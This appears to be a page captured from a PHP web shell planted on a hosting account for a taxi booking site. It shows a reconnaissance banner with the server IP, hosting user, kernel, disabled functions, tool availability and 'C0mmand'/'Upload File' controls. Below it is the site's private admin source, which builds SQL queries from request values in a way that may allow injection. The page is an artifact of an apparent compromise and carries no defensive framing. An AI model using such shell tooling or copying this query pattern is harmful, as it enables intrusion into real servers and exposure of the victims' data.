Server IP : 82.112.239.40 / Your IP : 13.58.149.106 Web Server : LiteSpeed System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64 User : u641149403 ( 641149403) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u641149403/domains/cabz4you.com/public_html/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include 'lib/core.php'; $time_stamp=date('Y-m-d H:i:s'); if(auth()) { if(isset($_POST['comment_booking_id'])) { $booking_id=test_input($_POST['comment_booking_id']); $comment=mysqli_real_escape_string($conn, $_POST['comment']); $sql="UPDATE bookings SET comment='$comment' WHERE id='$booking_id'"; if($conn->query($sql)===true) { $admin_user_id=$_SESSION['session_login']; $sql=$conn->query("INSERT INTO user_role_activity(booking_id,user_id,type,created_at) VALUES ('$booking_id','$admin_user_id','Comment','$time_stamp')"); echo 'ok'; } } if(isset($_POST['bk_id'])) { $booking_id=test_input($_POST['bk_id']); $status=test_input($_POST['status']); $sql="UPDATE bookings SET customer_details='$status' WHERE id='$booking_id'"; if($conn->query($sql)===true) { echo 'ok'; } } } ?>